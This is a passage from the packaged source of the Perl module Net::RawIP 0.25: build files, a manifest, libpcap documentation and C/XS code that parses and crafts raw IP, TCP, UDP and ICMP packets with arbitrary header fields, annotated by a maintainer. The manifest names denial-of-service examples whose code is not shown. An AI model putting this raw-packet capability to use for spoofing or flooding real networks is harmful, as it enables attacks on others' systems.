$config{$name}->[1]; print $config{$name}->[2]; eval $config{$name}->[3]; print "Compiler: $Config{cc}\n"; system "$Config{cc} --version"; locate_pcap(); WriteMakefile( NAME => 'Net::RawIP', LICENSE => 'perl', AUTHOR => 'Sebastien Aperghis-Tramoni ', VERSION_FROM => 'lib/Net/RawIP.pm', ABSTRACT_FROM => 'lib/Net/RawIP.pm', LIBS => ['-lpcap'], DEFINE => $def, INC => '', OBJECT => $obj, PREREQ_PM => { # prereqs 'Carp' => 0, 'Class::Struct'=> 0, 'Data::Dumper' => 0, 'English' => 0, 'Getopt::Long' => 0, 'Socket' => 0, # build/test prereqs 'Test::More' => 0, }, PL_FILES => {}, ); sub locate_pcap { # temporary; in next releases, I'll just completely remove the pcap parts # from Net::RawIP and use Net::pcap instead my @paths = DynaLoader::dl_findfile("-lpcap"); die <<'REASON' unless @paths; Could not load the pcap library. Please see the README file on how to install it. Be sure to also install the C headers (pcap.h). REASON } Net-RawIP-0.25/MANIFEST0000644000076500007650000000137211077220745016235 0ustar maddinguemaddingue00000000000000META.yml Module meta-data (added by MakeMaker) Makefile.PL Changes MANIFEST MANIFEST.SKIP README README.Devel TODO lib/Net/RawIP.pm lib/Net/RawIP/ethhdr.pm lib/Net/RawIP/generichdr.pm lib/Net/RawIP/icmphdr.pm lib/Net/RawIP/iphdr.pm lib/Net/RawIP/opt.pm lib/Net/RawIP/tcphdr.pm lib/Net/RawIP/udphdr.pm RawIP.xs RawIP/libpcap.pod eth.c ifaddrlist.c ifaddrlist.h ip.h rdev.c solaris.h util.c typemap examples/DoS_linux.2.2.7-9 examples/iflist examples/ip_rt_dev examples/ipopt_traceroute examples/land examples/macof examples/oshare examples/ping examples/traceroute examples/watch examples/sniff.pl t/00-load.t t/01-api.t t/90-pod.t t/91-pod-coverage.t t/99-critic.t t/iflist.t t/memory_leak.t t/set_icmp.t t/simple.t t/timem.t Net-RawIP-0.25/MANIFEST.SKIP0000644000076500007650000000051411077220775017002 0ustar maddinguemaddingue00000000000000# Avoid version control files. \bRCS\b \bCVS\b ,v$ \B\.svn\b \B\.git\b # Avoid Makemaker generated and utility files. \bMakefile$ \bblib \bMakeMaker-\d \bpm_to_blib$ \bblibdirs$ ^MANIFEST\.SKIP$ # Avoid Module::Build generated and utility files. \bBuild$ \b_build # Avoid temp and backup files. ~$ \.tmp$ \.old$ \.bak$ \#$ \b\.# Net-RawIP-0.25/META.yml0000644000076500007650000000132411102166630016341 0ustar maddinguemaddingue00000000000000--- #YAML:1.0 name: Net-RawIP version: 0.25 abstract: Perl extension to manipulate raw IP packets with interface to B license: perl author: - Sebastien Aperghis-Tramoni generated_by: ExtUtils::MakeMaker version 6.44 distribution_type: module requires: Carp: 0 Class::Struct: 0 Data::Dumper: 0 English: 0 Getopt::Long: 0 Socket: 0 Test::More: 0 meta-spec: url: http://module-build.sourceforge.net/META-spec-v1.3.html version: 1.3 Net-RawIP-0.25/RawIP/0000755000076500007650000000000011102166627016060 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/RawIP/libpcap.pod0000644000076500007650000001233010604431634020174 0ustar maddinguemaddingue00000000000000=head1 NAME Net::RawIP::libpcap - An interface to B in Net::RawIP(3pm) =head1 DESCRIPTION Function The input parameters The output parameters open_live a network Return value is a pcap_t* device(eth0,ppp0,...); If retval less than zero a snap length; then $err filled with a promisc - boolean; an error string. a timeout in sec; $err is an undef scalar; open_offline a filename which is filled Return value is pcap_t* with a raw output of dump; If retval less than zero $err is an unfef scalar; then $err filled with an error string. dump_open pcap_t*; Return value is a FILE* $err; lookupdev $err; Return value is a name of first device which is found by libpcap lookupnet a network device; a netnumber; a netnumer is undef; a netmask; a netmask is undef; If retval less than zero $err is undef; then $err filled with an error string. dispatch a scalar with pcap_t*; No output parameters. number of packets for proce- ssing; reference to the perl call- back,this callback will be called with 3 parameters: $_[0] is fourth parameter from dispatch, $_[1] is a scalar with struc- ture pcap_pkthdr for a current packet, $_[2] is a scalar with a current packet; fourth parameter could be an array or a hash reference or a pointer (FILE*) returned by dump_open,it can be unre- ferenced in the perl call- back or be used as a perl filehandle in that callback. loop As for dispatch. As for dispatch. dump As for a perl callback No output. but $_[0] must be a pointer (FILE*) only. compile a scalar with pcap_t*; a scalar with bpf_program. a bpf_program is undef; If retval is less than zero a scalar with filter string; then there was a problem with a boolean value (optimize or filter grammar. not); a scalar with netmask; setfilter a scalar with pcap_t*; If retval is less than zero a scalar with bpf_program then there was a problem while returned by compile. settting filter. next a scalar with pcap_t*; A scalar with next packet; a scalar with with struc- a scalar with with structure ture pcap_pkthdr for a current pcap_pkthdr also will be modi packet,originally is undef. filed for an every packet and it can be accessed but for read only. datalink a scalar with pcap_t*; Retval is the link layer type, e.g. DLT_EN10MB. snapshot a scalar with pcap_t*; Retval is the snapshot length specified when open_live was called. is_swapped a scalar with pcap_t*; returns true if the current savefile uses a different byte order than the current system. major_version a scalar with pcap_t*; returns the major number of the version of the pcap used to write the savefile. minor_version a scalar with pcap_t*; returns the minor number of the version of the pcap used to write the savefile. file a scalar with pcap_t*; returns the name of the savefile. stats a scalar with pcap_t*; If retval 0 then a scalar a scalar with structure with structure pcap_stat will pcap_stat,originally undef be filled with the packet statistics. fileno a scalar with pcap_t*; returns the file descriptor number of the savefile. A core perl function is available as CORE::fileno. geterr a scalar with pcap_t*; returns the error text pertaining to the last pcap library error. perror a scalar with pcap_t*; prints the text of the last a scalar with prefix; pcap library error on stderr, prefixed by prefix. close a scalar with pcap_t*; closes the files associated with pcap_t* and deallocates resources. A core perl function is available as CORE::close. dump_close a scalar with pcap_t*; closes the savefile. =head1 AUTHOR Sergey Kolychev =head1 SEE ALSO Net::RawIP(3pm),pcap(3). =cut Net-RawIP-0.25/RawIP.xs0000644000076500000000000012306111077202613015561 0ustar maddinguewheel00000000000000#ifdef __cplusplus extern "C" { #endif #include "EXTERN.h" #include "perl.h" #include "XSUB.h" #ifdef __cplusplus } #endif #include "patchlevel.h" #if PATCHLEVEL < 5 # ifndef PL_sv_undef # define PL_sv_undef sv_undef # endif # ifndef PL_na # define PL_na na # endif #endif #ifdef _BSDRAW_ #define BSDFIX(a) (a) #else #define BSDFIX(a) htons(a) #endif #ifdef _SOLARIS_ #include "solaris.h" #else #include #endif #include "ifaddrlist.h" #include #include #include #include #include #ifdef _ETH_ #define ETH_ALEN 6 struct ether_header { u_int8_t ether_dhost[ETH_ALEN]; /* destination eth addr */ u_int8_t ether_shost[ETH_ALEN]; /* source ether addr */ u_int16_t ether_type; /* packet type ID field */ }; #endif struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t ihl:4; u_int8_t version:4; #elif __BYTE_ORDER == __BIG_ENDIAN u_int8_t version:4; u_int8_t ihl:4; #else #error "Please fix " #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; /*The options start here. */ }; struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; #if __BYTE_ORDER == __LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; #elif __BYTE_ORDER == __BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; #else #error "Adjust your defines" #endif u_int16_t window; u_int16_t check; u_int16_t urg_ptr; }; struct icmphdr { u_int8_t type; /* message type */ u_int8_t code; /* type sub-code */ u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; /* echo datagram */ u_int32_t gateway; /* gateway address */ struct { u_int16_t unused; u_int16_t mtu; } frag; /* path mtu discovery */ } un; }; struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; #define TCPHDR 20 #pragma pack(1) typedef struct itpkt { struct iphdr ih; struct tcphdr th; } ITPKT; typedef struct iipkt { struct iphdr ih; struct icmphdr ich; } IIPKT; typedef struct iupkt { struct iphdr ih; struct udphdr uh; } IUPKT; unsigned short ip_in_cksum(struct iphdr *iph, unsigned short *ptr, int nbytes); unsigned short in_cksum(unsigned short *ptr, int nbytes); int rawsock(void); u_long host_to_ip (char *host_name); void pkt_send(int fd, unsigned char *sock, u_char *pkt, int size); int linkoffset(int); static int not_here(s) char *s; { croak("%s not implemented on this architecture", s); return -1; } static double constant(name, arg) char *name; int arg; { errno = 0; switch (*name) { case 'A': break; case 'B': break; case 'C': break; case 'D': break; case 'E': break; case 'F': break; case 'G': break; case 'H': break; case 'I': break; case 'J': break; case 'K': break; case 'L': break; case 'M': break; case 'N': break; case 'O': break; case 'P': if (strEQ(name, "PCAP_ERRBUF_SIZE")) #ifdef PCAP_ERRBUF_SIZE return PCAP_ERRBUF_SIZE; #else goto not_there; #endif if (strEQ(name, "PCAP_VERSION_MAJOR")) #ifdef PCAP_VERSION_MAJOR return PCAP_VERSION_MAJOR; #else goto not_there; #endif if (strEQ(name, "PCAP_VERSION_MINOR")) #ifdef PCAP_VERSION_MINOR return PCAP_VERSION_MINOR; #else goto not_there; #endif break; case 'Q': break; case 'R': break; case 'S': break; case 'T': break; case 'U': break; case 'V': break; case 'W': break; case 'X': break; case 'Y': break; case 'Z': break; case 'a': break; case 'b': break; case 'c': break; case 'd': break; case 'e': break; case 'f': break; case 'g': break; case 'h': break; case 'i': break; case 'j': break; case 'k': break; case 'l': if (strEQ(name, "lib_pcap_h")) #ifdef lib_pcap_h return lib_pcap_h; #else goto not_there; #endif break; case 'm': break; case 'n': break; case 'o': break; case 'p': break; case 'q': break; case 'r': break; case 's': break; case 't': break; case 'u': break; case 'v': break; case 'w': break; case 'x': break; case 'y': break; case 'z': break; } errno = EINVAL; return 0; not_there: errno = ENOENT; return 0; } SV * (*ptr)(u_char*); pcap_handler printer; static SV * retref (ref) u_char * ref; { return (SV*)ref; } static SV * handler (file) u_char * file; { SV * handle; GV * gv; handle = sv_newmortal(); gv = newGVgen("Net::RawIP"); do_open(gv, "+<&", 3, FALSE, 0, 0, PerlIO_importFILE((FILE*)file, NULL)); sv_setsv(handle, sv_bless(newRV_noinc((SV*)gv), gv_stashpv("Net::RawIP",1))); return handle; } SV * first; SV * second; SV * third; static void call_printer (file,pkt,user) u_char * file; struct pcap_pkthdr * pkt; u_char * user; { dSP ; PUSHMARK(sp) ; sv_setsv(first,(*ptr)(file)); sv_setpvn(second, (char *)pkt, sizeof(struct pcap_pkthdr)); sv_setpvn(third, (char *)user, pkt->caplen); XPUSHs(first); XPUSHs(second); XPUSHs(third); PUTBACK ; perl_call_sv((SV*)printer,G_VOID); } static SV * ip_opts_parse(pkt) SV * pkt; { int byte,i; STRLEN size; u_char * ptr; AV * RETVAL; byte = 0; size = SvCUR(pkt); ptr = (u_char *)SvPV(pkt, size); RETVAL = newAV(); for (i=0; byte 40) SvCUR_set(ip_opts,40); return ip_opts; } static SV * tcp_opts_parse(pkt) SV * pkt; { int byte,i; STRLEN size; u_char * ptr; AV * RETVAL; byte = 0; size = SvCUR(pkt); ptr = (u_char *)SvPV(pkt,size); RETVAL = newAV(); for (i=0; byte 40) SvCUR_set(ip_opts,40); return ip_opts; } MODULE = Net::RawIP PACKAGE = Net::RawIP PREFIX = pcap_ PROTOTYPES: ENABLE double constant(name,arg) char * name int arg void closefd(fd) int fd CODE: close(fd); SV * ip_rt_dev(addr) u_int32_t addr CODE: #ifdef _LINUX_ char dev[] = "proc"; RETVAL = newSVpv(dev,4); #endif #ifdef _BPF_ char dev[16]; int len; memset(dev,0,16); len = ip_rt_dev(addr,dev); RETVAL = newSVpv(dev,len); #endif #if !defined(_LINUX_) && !defined(_BPF_) croak("rdev() is not implemented on this system"); #endif OUTPUT: RETVAL SV * timem () CODE: struct timeval tv; struct timezone tz; tz.tz_minuteswest = 0; tz.tz_dsttime = 0; if ((gettimeofday(&tv,&tz) < 0)) { RETVAL = newSViv(0); croak("gettimeofday()"); } else { RETVAL = newSVpvf("%u.%06u",tv.tv_sec,tv.tv_usec); } OUTPUT: RETVAL unsigned int rawsock() #ifdef _IFLIST_ HV * ifaddrlist() CODE: int c,i; char buf[132]; struct ifaddrlist *al; RETVAL = newHV(); sv_2mortal((SV*)RETVAL); c = ifaddrlist(&al,buf); for (i=0; idevice, al->len, newSVpvf("%u.%u.%u.%u", (al->addr & 0xff000000) >> 24, (al->addr & 0x00ff0000) >> 16, (al->addr & 0x0000ff00) >> 8, (al->addr & 0x000000ff) ),0); al++; } OUTPUT: RETVAL #endif #ifdef _ETH_ int tap(device,ip,mac) char *device SV *ip SV *mac CODE: unsigned int i; unsigned char m[6]; RETVAL = tap(device,&i,m); if (RETVAL) { sv_setiv(ip,i); sv_setpvn(mac,(char *)m,6); } OUTPUT: ip mac RETVAL int mac_disc(addr,mac) unsigned int addr SV *mac CODE: unsigned char m[6]; RETVAL = mac_disc(addr,m); if (RETVAL) { sv_setpvn(mac,(char *)m,6); } OUTPUT: mac RETVAL void send_eth_packet(fd,eth_device,pkt,flag) int fd char* eth_device SV* pkt int flag CODE: send_eth_packet(fd, eth_device, (char*)SvPV(pkt,PL_na), SvCUR(pkt),flag); AV * eth_parse(pkt) SV * pkt CODE: u_char * c; struct ether_header *epkt; epkt = (struct ether_header *)SvPV(pkt,PL_na); RETVAL = newAV(); sv_2mortal((SV*)RETVAL); av_unshift(RETVAL,3); c = (u_char*)epkt->ether_dhost; av_store(RETVAL,0, newSVpvf("%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", c[0],c[1],c[2],c[3],c[4],c[5])); c = (u_char*)epkt->ether_shost; av_store(RETVAL, 1, newSVpvf("%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", c[0],c[1],c[2],c[3],c[4],c[5])); av_store(RETVAL, 2, newSViv(ntohs(epkt->ether_type))); OUTPUT: RETVAL #endif SV * set_sockaddr (daddr,port) unsigned int daddr unsigned short port CODE: int size; struct sockaddr_in dest_sockaddr; size = sizeof(struct sockaddr_in); memset(&dest_sockaddr,0,size); dest_sockaddr.sin_family = AF_INET; dest_sockaddr.sin_port = htons(port); dest_sockaddr.sin_addr.s_addr = htonl(daddr); RETVAL = newSVpv((char*)&dest_sockaddr,size); OUTPUT: RETVAL unsigned long host_to_ip (host_name) char *host_name void pkt_send (fd, sock, pkt) int fd SV *sock SV *pkt CODE: pkt_send (fd, (u_char *)SvPV(sock,PL_na), (u_char *)SvPV(pkt,PL_na), SvCUR(pkt)); AV * tcp_pkt_parse(pkt) SV * pkt CODE: u_int ipo,doff,ihl,tot_len; ITPKT *pktr; ipo = 0; pktr = (ITPKT *)SvPV(pkt,PL_na); ihl = pktr->ih.ihl; tot_len = ntohs(pktr->ih.tot_len); RETVAL = newAV(); sv_2mortal((SV*)RETVAL); av_unshift(RETVAL,29); av_store(RETVAL, 0, newSViv(pktr->ih.version)); av_store(RETVAL, 1, newSViv(pktr->ih.ihl)); av_store(RETVAL, 2, newSViv(pktr->ih.tos)); av_store(RETVAL, 3, newSViv(ntohs(pktr->ih.tot_len))); av_store(RETVAL, 4, newSViv(ntohs(pktr->ih.id))); av_store(RETVAL, 5, newSViv(ntohs(pktr->ih.frag_off))); av_store(RETVAL, 6, newSViv(pktr->ih.ttl)); av_store(RETVAL, 7, newSViv(pktr->ih.protocol)); av_store(RETVAL, 8, newSViv(ntohs(pktr->ih.check))); av_store(RETVAL, 9, newSViv(ntohl(pktr->ih.saddr))); av_store(RETVAL, 10, newSViv(ntohl(pktr->ih.daddr))); if (ihl > 5) { av_store(RETVAL,28, ip_opts_parse(sv_2mortal(newSVpv((char*)pktr + 20,ihl*4 - 20)))); pktr = (ITPKT *)pktr + (ihl*4 - 20); ipo = 1; } doff = pktr->th.doff; av_store(RETVAL, 11, newSViv(ntohs(pktr->th.source))); av_store(RETVAL, 12, newSViv(ntohs(pktr->th.dest))); av_store(RETVAL, 13, newSViv(ntohl(pktr->th.seq))); av_store(RETVAL, 14, newSViv(ntohl(pktr->th.ack_seq))); av_store(RETVAL, 15, newSViv(pktr->th.doff)); av_store(RETVAL, 16, newSViv(pktr->th.res1)); av_store(RETVAL, 17, newSViv(pktr->th.res2)); av_store(RETVAL, 18, newSViv(pktr->th.urg)); av_store(RETVAL, 19, newSViv(pktr->th.ack)); av_store(RETVAL, 20, newSViv(pktr->th.psh)); av_store(RETVAL, 21, newSViv(pktr->th.rst)); av_store(RETVAL, 22, newSViv(pktr->th.syn)); av_store(RETVAL, 23, newSViv(pktr->th.fin)); av_store(RETVAL, 24, newSViv(ntohs(pktr->th.window))); av_store(RETVAL, 25, newSViv(ntohs(pktr->th.check))); av_store(RETVAL, 26, newSViv(ntohs(pktr->th.urg_ptr))); if (doff > 5) { if (!ipo) { av_store(RETVAL, 28, newSViv(0)); } av_store(RETVAL, 29, tcp_opts_parse(sv_2mortal(newSVpv((char*)pktr+40,doff*4-20)))); pktr = (ITPKT *)pktr + (doff*4 - 20); } av_store(RETVAL, 27, newSVpv(((char*)&pktr->th.urg_ptr+2), tot_len - (4*ihl + doff*4))); OUTPUT: RETVAL AV * icmp_pkt_parse(pkt) SV * pkt CODE: u_int ihl,tot_len; IIPKT *pktr; pktr = (IIPKT *)SvPV(pkt,PL_na); ihl = pktr->ih.ihl; tot_len = ntohs(pktr->ih.tot_len); RETVAL = newAV(); sv_2mortal((SV*)RETVAL); av_unshift(RETVAL,20); av_store(RETVAL, 0, newSViv(pktr->ih.version)); av_store(RETVAL, 1, newSViv(pktr->ih.ihl)); av_store(RETVAL, 2, newSViv(pktr->ih.tos)); av_store(RETVAL, 3, newSViv(ntohs(pktr->ih.tot_len))); av_store(RETVAL, 4, newSViv(ntohs(pktr->ih.id))); av_store(RETVAL, 5, newSViv(ntohs(pktr->ih.frag_off))); av_store(RETVAL, 6, newSViv(pktr->ih.ttl)); av_store(RETVAL, 7, newSViv(pktr->ih.protocol)); av_store(RETVAL, 8, newSViv(ntohs(pktr->ih.check))); av_store(RETVAL, 9, newSViv(ntohl(pktr->ih.saddr))); av_store(RETVAL, 10, newSViv(ntohl(pktr->ih.daddr))); if (ihl > 5) { av_store(RETVAL, 20, ip_opts_parse(sv_2mortal(newSVpv((char*)pktr + 20,ihl*4 - 20)))); pktr = (IIPKT *)pktr + (ihl*4 - 20); } av_store(RETVAL, 11, newSViv(pktr->ich.type)); av_store(RETVAL, 12, newSViv(pktr->ich.code)); av_store(RETVAL, 13, newSViv(ntohs(pktr->ich.checksum))); av_store(RETVAL, 14, newSViv(pktr->ich.un.gateway)); av_store(RETVAL, 15, newSViv(pktr->ich.un.echo.id)); av_store(RETVAL, 16, newSViv(pktr->ich.un.echo.sequence)); av_store(RETVAL, 17, newSViv(pktr->ich.un.frag.unused)); av_store(RETVAL, 18, newSViv(pktr->ich.un.frag.mtu)); av_store(RETVAL, 19, newSVpv(((char*)&pktr->ich.un.frag.mtu+2), tot_len - (4*ihl + 8))); OUTPUT: RETVAL AV * generic_pkt_parse(pkt) SV * pkt CODE: u_int ihl,tot_len; struct iphdr *pktr; pktr = (struct iphdr *)SvPV(pkt,PL_na); ihl = pktr->ihl; tot_len = ntohs(pktr->tot_len); RETVAL = newAV(); sv_2mortal((SV*)RETVAL); av_store(RETVAL, 0, newSViv(pktr->version)); av_store(RETVAL, 1, newSViv(pktr->ihl)); av_store(RETVAL, 2, newSViv(pktr->tos)); av_store(RETVAL, 3, newSViv(ntohs(pktr->tot_len))); av_store(RETVAL, 4, newSViv(ntohs(pktr->id))); av_store(RETVAL, 5, newSViv(ntohs(pktr->frag_off))); av_store(RETVAL, 6, newSViv(pktr->ttl)); av_store(RETVAL, 7, newSViv(pktr->protocol)); av_store(RETVAL, 8, newSViv(ntohs(pktr->check))); av_store(RETVAL, 9, newSViv(ntohl(pktr->saddr))); av_store(RETVAL, 10, newSViv(ntohl(pktr->daddr))); if (ihl > 5) { av_store(RETVAL,12, ip_opts_parse(sv_2mortal(newSVpv((char*)pktr + 20,ihl*4 - 20)))); pktr = pktr + (ihl*4 - 20); } av_store(RETVAL, 11, newSVpv(((char*)pktr+20), tot_len - 4*ihl)); OUTPUT: RETVAL AV * udp_pkt_parse(pkt) SV * pkt CODE: u_int ihl,tot_len; IUPKT *pktr; pktr = (IUPKT *)SvPV(pkt,PL_na); ihl = pktr->ih.ihl; tot_len = ntohs(pktr->ih.tot_len); RETVAL = newAV(); sv_2mortal((SV*)RETVAL); av_unshift(RETVAL, 16); av_store(RETVAL, 0, newSViv(pktr->ih.version)); av_store(RETVAL, 1, newSViv(pktr->ih.ihl)); av_store(RETVAL, 2, newSViv(pktr->ih.tos)); av_store(RETVAL, 3, newSViv(ntohs(pktr->ih.tot_len))); av_store(RETVAL, 4, newSViv(ntohs(pktr->ih.id))); av_store(RETVAL, 5, newSViv(ntohs(pktr->ih.frag_off))); av_store(RETVAL, 6, newSViv(pktr->ih.ttl)); av_store(RETVAL, 7, newSViv(pktr->ih.protocol)); av_store(RETVAL, 8, newSViv(ntohs(pktr->ih.check))); av_store(RETVAL, 9, newSViv(ntohl(pktr->ih.saddr))); av_store(RETVAL, 10, newSViv(ntohl(pktr->ih.daddr))); if (ihl > 5) { av_store(RETVAL, 16, ip_opts_parse(sv_2mortal(newSVpv((char*)pktr + 20,ihl*4 - 20)))); pktr = pktr + (ihl*4 - 20); } av_store(RETVAL, 11, newSViv(ntohs(pktr->uh.source))); av_store(RETVAL, 12, newSViv(ntohs(pktr->uh.dest))); av_store(RETVAL, 13, newSViv(ntohs(pktr->uh.len))); av_store(RETVAL, 14, newSViv(ntohs(pktr->uh.check))); av_store(RETVAL, 15, newSVpv(((char*)&pktr->uh.check+2), tot_len - (4*ihl + 8))); OUTPUT: RETVAL SV * udp_pkt_creat(p) SV * p CODE: int opt,iplen; SV * ip_opts; u_char * ptr; AV * pkt; IUPKT piu; u_char *piur; opt = 0; iplen = 20; if (SvTYPE(SvRV(p)) == SVt_PVAV) pkt = (AV *)SvRV(p); else croak("Not array reference\n"); piu.ih.version = SvIV(*av_fetch(pkt,0,0)); piu.ih.ihl = SvIV(*av_fetch(pkt,1,0)); piu.ih.tos = SvIV(*av_fetch(pkt,2,0)); piu.ih.tot_len = BSDFIX(SvIV(*av_fetch(pkt,3,0))); if (!piu.ih.tot_len) piu.ih.tot_len = BSDFIX(iplen + 8 + SvCUR(*av_fetch(pkt,15,0))); piu.ih.id = htons(SvIV(*av_fetch(pkt,4,0))); piu.ih.frag_off = BSDFIX(SvIV(*av_fetch(pkt,5,0))); piu.ih.ttl = SvIV(*av_fetch(pkt,6,0)); piu.ih.protocol = SvIV(*av_fetch(pkt,7,0)); piu.ih.check = htons(SvIV(*av_fetch(pkt,8,0))); piu.ih.saddr = htonl(SvIV(*av_fetch(pkt,9,0))); piu.ih.daddr = htonl(SvIV(*av_fetch(pkt,10,0))); if (!piu.ih.check) piu.ih.check = in_cksum((unsigned short *)&piu,iplen); piu.uh.source = htons(SvIV(*av_fetch(pkt,11,0))); piu.uh.dest = htons(SvIV(*av_fetch(pkt,12,0))); piu.uh.len = htons(SvIV(*av_fetch(pkt,13,0))); if (!piu.uh.len) piu.uh.len = htons(8 + SvCUR(*av_fetch(pkt,15,0))); piu.uh.check = htons(SvIV(*av_fetch(pkt,14,0))); if (av_fetch(pkt,16,0)) { if (SvROK(*av_fetch(pkt,16,0))) { opt++; ip_opts = ip_opts_creat(*av_fetch(pkt,16,0)); piu.ih.ihl = 5 + SvCUR(ip_opts)/4; piu.ih.tot_len = BSDFIX(4*piu.ih.ihl + 8 + SvCUR(*av_fetch(pkt,15,0))); iplen = 4*piu.ih.ihl; piu.ih.check = 0; ptr = (u_char*)safemalloc(iplen + 8); memcpy(ptr,(u_char*)&piu,20); memcpy(ptr+20,SvPV(ip_opts,PL_na),SvCUR(ip_opts)); memcpy(ptr+20+SvCUR(ip_opts),(u_char*)&piu + 20,8); ((struct iphdr*)ptr)->check = in_cksum((unsigned short *)ptr,iplen); RETVAL = newSVpv((char*)ptr, sizeof(IUPKT)+SvCUR(ip_opts)); sv_catsv(RETVAL, *av_fetch(pkt,15,0)); Safefree(ptr); sv_2mortal(ip_opts); } } if (!opt) { RETVAL = newSVpv((char*)&piu,sizeof(IUPKT)); sv_catsv(RETVAL,*av_fetch(pkt,15,0)); } if (!piu.uh.check) { piur = (u_char*) SvPV(RETVAL, PL_na); ((struct udphdr*)(piur + iplen))->check = ip_in_cksum((struct iphdr *)piur, (unsigned short *)(piur + iplen), 8 + SvCUR(*av_fetch(pkt,15,0))); sv_setpvn(RETVAL, (char*)piur, iplen + 8 + SvCUR(*av_fetch(pkt,15,0))); } OUTPUT: RETVAL # This assembles an ICMP packet based on the data passed in as an # array reference from the Perl module. Populating this are with # comments as I try to understand the code better so I'll remember # what I thought each bit did. # Steve Bonds SV * icmp_pkt_creat(p) SV * p CODE: int opt,iplen; SV * ip_opts; u_char * ptr; AV * pkt; IIPKT pii; u_char *piir; opt = 0; iplen = 20; if (SvTYPE(SvRV(p)) == SVt_PVAV) /* pkt allows for easy access in C to the original parameter, p. Steve Bonds */ pkt = (AV *)SvRV(p); else croak("Not array reference\n"); /* Populate the C pii ICMP packet structure with information from "pkt", which is the C char pointer to the array reference passed in. The perlguts man page recommends checking that this returns non-null before calling SvIV on it, probably to follow the Second Commandment of C: Thou shalt not follow the NULL pointer, for chaos and madness await thee at its end. (http://web.archive.org/web/19961109205914/http://www.lysator.liu.se/c/ten-commandments.html) however, it would appear that the original author didn't and I don't want to make too many changes yet, so I'll pretend I didn't see it for now... Steve Bonds */ pii.ih.version = SvIV(*av_fetch(pkt,0,0)); pii.ih.ihl = SvIV(*av_fetch(pkt,1,0)); pii.ih.tos = SvIV(*av_fetch(pkt,2,0)); pii.ih.tot_len = BSDFIX(SvIV(*av_fetch(pkt,3,0))); if (!pii.ih.tot_len) pii.ih.tot_len = BSDFIX(iplen + 8 + SvCUR(*av_fetch(pkt,19,0))); pii.ih.id = htons(SvIV(*av_fetch(pkt,4,0))); pii.ih.frag_off = BSDFIX(SvIV(*av_fetch(pkt,5,0))); pii.ih.ttl = SvIV(*av_fetch(pkt,6,0)); pii.ih.protocol = SvIV(*av_fetch(pkt,7,0)); pii.ih.check = htons(SvIV(*av_fetch(pkt,8,0))); pii.ih.saddr = htonl(SvIV(*av_fetch(pkt,9,0))); pii.ih.daddr = htonl(SvIV(*av_fetch(pkt,10,0))); if (!pii.ih.check) pii.ih.check = in_cksum((unsigned short *)&pii,iplen); /* We're done with the basic IP header assembly into the pii structure. Move on to the ICMP header specifics. Steve Bonds */ pii.ich.type = SvIV(*av_fetch(pkt,11,0)); pii.ich.code = SvIV(*av_fetch(pkt,12,0)); pii.ich.checksum = htons(SvIV(*av_fetch(pkt,13,0))); pii.ich.un.gateway = SvIV(*av_fetch(pkt,14,0)); /* Array index 20 is the "data" area of the ICMP packet. av_fetch only returns a scalar so the data area must be one, which explains why it didn't work so great when I used an array reference here based on my incorrect understanding of the POD docs. Steve Bonds */ if (av_fetch(pkt,20,0)) { if (SvROK(*av_fetch(pkt,20,0))) { opt++; /* I don't understand why this module calls an internal parsing function on a raw data field supplied by the user. This may or may not associate with an actual IP structure, depending on what the user of this module decides. It appears that this is done to get the proper packet length for the IP header, but this could also be done based on the scalar length of the raw data area itself (SvCUR). Why wouldn't the sum of these work for the total IP packet length: + IP header (20) + ICMP header (8) - type (1) - code (1) - checksum (2) - id or unused (2) - sequence or mtu (2) + ICMP data (variable length) Finding the total length shouldn't require any decoding of the ICMP data area. Doing so just gives this module additional places to either break/crash or mangle the intended data on its way out. In the interest of not breaking the module until I understand it better, leave it alone for now. Steve Bonds */ ip_opts = ip_opts_creat(*av_fetch(pkt,20,0)); pii.ih.ihl = 5 + SvCUR(ip_opts)/4; iplen = 4*pii.ih.ihl; /* Array index 19 is the MTU or Sequence. SvCUR returns the length of that scalar. Steve Bonds */ pii.ih.tot_len = BSDFIX(iplen + 8 + SvCUR(*av_fetch(pkt,19,0))); pii.ih.check = 0; /* Create a place to copy the pii structure for rebuilding the checksum. Steve Bonds */ ptr = (u_char*)safemalloc(iplen + 8); /* Copy the 20 byte IP header in */ memcpy(ptr,(u_char*)&pii,20); /* Either this is a bug or I don't understand something going on here. ip_opts is derived above from field 20 of "pkt" which is the user-supplied data area of the ICMP packet they want to send. This data area is supposed to be an IP packet, but since they can set it to any arbitrary string of bytes, it doesn't necessarily have to be. So it looks to me like we just joined the 20 byte IP header with the 8 bytes ip_opts creates from the user data area. I would instead have expected this to be the 8 bytes of ICMP packet header we created above. Steve Bonds */ memcpy(ptr+20,SvPV(ip_opts,PL_na),SvCUR(ip_opts)); /* Here's the 8 bytes we created above getting copied in. I would have expected this line to be before the above line. */ memcpy(ptr+20+SvCUR(ip_opts),(u_char*)&pii + 20,8); /* Re-build a valid IP checksum for our packet. */ ((struct iphdr*)ptr)->check = in_cksum((unsigned short *)ptr,iplen); /* Create a new scalar that will contain the string value contained in our temporary spot *ptr. This in essence becomes a packed string value in perl when it gets sent back. Steve Bonds */ RETVAL = newSVpv((char*)ptr, sizeof(IIPKT)+SvCUR(ip_opts)); /* Toss field 19 from the original array (MTU/Sequence) onto the end of the RETVAL scalar created above. Alas, these are 2-byte values so these need to be converted to proper network byte order before they will be valid. This looks like the bug I came here to find. I think it may be simpler to convert this to network byte order via Perl before it gets passed in to this code so as to minimize the changes needed inside this harder-to-follow .xs file. Steve Bonds */ sv_catsv(RETVAL, *av_fetch(pkt, 19, 0)); Safefree(ptr); sv_2mortal(ip_opts); } } if (!opt) { 